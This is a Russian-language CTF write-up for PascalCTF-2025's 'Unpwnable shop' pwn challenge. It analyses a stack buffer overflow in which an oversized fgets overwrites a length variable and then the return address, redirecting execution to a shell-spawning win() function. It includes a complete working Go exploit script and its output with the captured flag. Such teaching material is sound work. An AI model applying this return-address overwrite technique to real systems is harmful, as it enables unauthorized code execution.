Unpwnable shop - PascalCTF-2025 - Pwn

1 Исходные данные
Описание
You can try to pwn us, but my cousin already tried it and he says it’s impossible!
Файлы
task.zip
2 Анализ файла unpwnable
Декомпилируем исполняемый бинарный файл unpwnable
в программе IDA
и поишем что-нибудь, что может привести к получению флага.
Есть функция win
, которая запускает оболочку shell
:
__int64 win()
{
return execve("/bin/sh", 0LL, 0LL);
}
Функиця win
нигде не используется. Нужно посмотреть можно ли каким-то образом вызвать эту функцию.
Посмотрим на функцию main
:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d
int v7; // edx
int v8; // ecx
int v9; // r8d
int v10; // r9d
int v12; // [rsp+Ch] [rbp-54h] BYREF
char v13[76]; // [rsp+10h] [rbp-50h] BYREF
unsigned int v14; // [rsp+5Ch] [rbp-4h]
ssignal(14LL, handle_alarm, envp);
alarm(30LL);
init();
v14 = 81;
puts("Welcome to Unpwnable shop!\n***Now with support for abnormally long usernames!!1!***");
puts("To continue insert your name (don't even think about overwriting some return addresses, you can't lmao) :");
fgets(v13, 81LL, stdin);
printf((unsigned int)"Welcome to the shop %s\n\n\n", (unsigned int)v13, v3, v4, v5, v6);
printMenu();
_isoc99_scanf((unsigned int)"%d", (unsigned int)&v12, v7, v8, v9, v10);
getchar();
if ( v12 )
{
puts("finding stuff to sell...");
sleep(1LL);
if ( v12 == 69 )
{
puts("What was your name again? I forgot it.");
fgets(v13, v14, stdin);
puts("Ok, just hold on while i finish searching.");
sleep(2LL);
}
puts("didn't find anything :(");
}
puts("Bye!");
return 0;
}
Есть буфер v13
размером 76 байтов. Хотя читается 81 байт функцией fgets
.
Значит можно перезаписать следующие 5 байт в память, которая расположена после v13
, т.е переменную v14
.
Переопределение переменной v14
позволяет записать в v13
и далее по памяти любое количество данных в fgets(v13, v14, stdin);
.
v13
находится на стеке. Что находится после указателя на v13
в сторону увеличения адресов (т.е. в сторону уменьшения стека, к.т. программный стек растет вниз)?
Примерная схема расположения данных в стеке:
Высокие адреса
+---------------------+
| return address | <- [rbp+8]
+---------------------+
| saved RBP | <- [rbp]
+---------------------+
| v14 (4 bytes) | <- [rbp-4]
+---------------------+
| v13[76] (76 bytes) | <- [rbp-0x50]
+---------------------+
| v12 (4 bytes) | <- [rbp-0x54]
+---------------------+
Низкие адреса
Если перезаписать адрес возврата return address
функцией win
, то при выходе из фунции main
будет вызвана функция win
.
Для этого нужно записать в v13
76+4+8+8=96
байт.
Адрес функции win
можно узнать с помощью objdump
:
❯ objdump -t ./unpwnable | grep --word-regexp "win"
0000000000402f65 g F .text 0000000000000020 win
3 Написание программы
В целом понятно что делать. Осталось только реализовать.
Алгоритм:
- Вводим 80 байт, перзаписывая
v14
значением 96. - Вводим строку “69”, чтобы сервер переспросил имя.
- Вводим 96 байт, перезаписывая значение
RBP
указателем на функциюwin
. - Получаем доступ к терминалу и вводим произвольные команды для поиска флага.
Напишем программу на языке Go
. Основная часть:
func main() {
conn, err := net.Dial("tcp", "127.0.0.1:1338")
checkErr(err)
defer conn.Close()
var input bytes.Buffer
_ = readAll(conn, "To continue insert your name .* :")
name := strings.Repeat("a", 76)
nameBufferLen := uint32(76 + 4 + 8 + 8) // sizeof(name) + sizeof(nameBufferLen) + sizeof(padding) + sizeof(winPointer)
input.WriteString(name)
_ = binary.Write(&input, binary.LittleEndian, nameBufferLen)
input.WriteString(" ")
write(conn, &input)
_ = readAll(conn, "Market menu:")
input.WriteString("69\n")
write(conn, &input)
_ = readAll(conn, `I forgot it`)
padding := uint64(0) // saved RBP
winPointer := uint64(0x0000000000402F65) // return address
input.WriteString(name)
_ = binary.Write(&input, binary.LittleEndian, nameBufferLen)
_ = binary.Write(&input, binary.LittleEndian, padding)
_ = binary.Write(&input, binary.LittleEndian, winPointer)
input.WriteString("\n")
write(conn, &input)
_ = readAll(conn, "")
input.WriteString("cat flag.txt\n")
write(conn, &input)
_ = readAll(conn, "pascalCTF{.*}")
}
Программа целиком:
package main
import (
"bytes"
"encoding/binary"
"fmt"
"io"
"log"
"net"
"regexp"
"strings"
"time"
)
func checkErr(err error) {
if err != nil {
log.Fatal(err)
}
}
func readAll(conn net.Conn, pattern string) []string {
err := conn.SetReadDeadline(time.Now().Add(5 * time.Second))
checkErr(err)
var buf bytes.Buffer
bufTmp := make([]byte, 1024)
defer func() {
fmt.Printf("%s", buf.String())
}()
for {
n, err := conn.Read(bufTmp)
if err != nil {
if pattern != "" {
log.Fatalf("Cannot read: %q", pattern)
}
break
}
buf.Write(bufTmp[:n])
if pattern != "" {
re := regexp.MustCompile(pattern)
res := re.FindStringSubmatch(buf.String())
if len(res) > 0 {
return res[1:]
}
}
}
return nil
}
func write(conn net.Conn, input *bytes.Buffer) {
fmt.Printf("%s", input.String())
_, err := io.Copy(conn, input)
checkErr(err)
if input.Len() != 0 {
log.Fatalf("Cannot write all: %v", input.Len())
}
}
func main() {
conn, err := net.Dial("tcp", "127.0.0.1:1338")
checkErr(err)
defer conn.Close()
var input bytes.Buffer
_ = readAll(conn, "To continue insert your name .* :")
name := strings.Repeat("a", 76)
nameBufferLen := uint32(76 + 4 + 8 + 8) // sizeof(name) + sizeof(nameBufferLen) + sizeof(padding) + sizeof(winPointer)
input.WriteString(name)
_ = binary.Write(&input, binary.LittleEndian, nameBufferLen)
input.WriteString(" ")
write(conn, &input)
_ = readAll(conn, "Market menu:")
input.WriteString("69\n")
write(conn, &input)
_ = readAll(conn, `I forgot it`)
padding := uint64(0) // saved RBP
winPointer := uint64(0x0000000000402F65) // return address
input.WriteString(name)
_ = binary.Write(&input, binary.LittleEndian, nameBufferLen)
_ = binary.Write(&input, binary.LittleEndian, padding)
_ = binary.Write(&input, binary.LittleEndian, winPointer)
input.WriteString("\n")
write(conn, &input)
_ = readAll(conn, "")
input.WriteString("cat flag.txt\n")
write(conn, &input)
_ = readAll(conn, "pascalCTF{.*}")
}
4 Получение флага
Запускаем программу:
❯ go run ./main.go
Welcome to Unpwnable shop!
***Now with support for abnormally long usernames!!1!***
To continue insert your name (don't even think about overwriting some return addresses, you can't lmao) :
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa` Welcome to the shop aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`
█ ██ ███▄ █ ██▓███ █ █░███▄ █ ▄▄▄ ▄▄▄▄ ██▓ ▓█████ ██████ ██░ ██ ▒█████ ██▓███
██ ▓██▒ ██ ▀█ █ ▓██░ ██▒▓█░ █ ░█░██ ▀█ █ ▒████▄ ▓█████▄ ▓██▒ ▓█ ▀ ▒██ ▒ ▓██░ ██▒▒██▒ ██▒▓██░ ██▒
▓██ ▒██░▓██ ▀█ ██▒▓██░ ██▓▒▒█░ █ ░█▓██ ▀█ ██▒▒██ ▀█▄ ▒██▒ ▄██▒██░ ▒███ ░ ▓██▄ ▒██▀▀██░▒██░ ██▒▓██░ ██▓▒
▓▓█ ░██░▓██▒ ▐▌██▒▒██▄█▓▒ ▒░█░ █ ░█▓██▒ ▐▌██▒░██▄▄▄▄██ ▒██░█▀ ▒██░ ▒▓█ ▄ ▒ ██▒░▓█ ░██ ▒██ ██░▒██▄█▓▒ ▒
▒▒█████▓ ▒██░ ▓██░▒██▒ ░ ░░░██▒██▓▒██░ ▓██░ ▓█ ▓██▒░▓█ ▀█▓░██████▒░▒████▒ ▒██████▒▒░▓█▒░██▓░ ████▓▒░▒██▒ ░ ░
░▒▓▒ ▒ ▒ ░ ▒░ ▒ ▒ ▒▓▒░ ░ ░░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ▒▒ ▓▒█░░▒▓███▀▒░ ▒░▓ ░░░ ▒░ ░ ▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░ ░
░░▒░ ░ ░ ░ ░░ ░ ▒░░▒ ░ ▒ ░ ░ ░ ░░ ░ ▒░ ▒ ▒▒ ░▒░▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ▒ ▒░ ░▒ ░
░░░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░░ ░ ░ ▒ ░░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
Market menu:
[0] Exit
[1] Buy amazing stuff
69
finding stuff to sell...
What was your name again? I forgot it.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`e/@
Ok, just hold on while i finish searching.
didn't find anything :(
Bye!
cat flag.txt
pascalCTF{N0O0o0o@O0_Hòw_D1D_Y0U_D0_17}%
Получили флаг pascalCTF{N0O0o0o@O0_Hòw_D1D_Y0U_D0_17}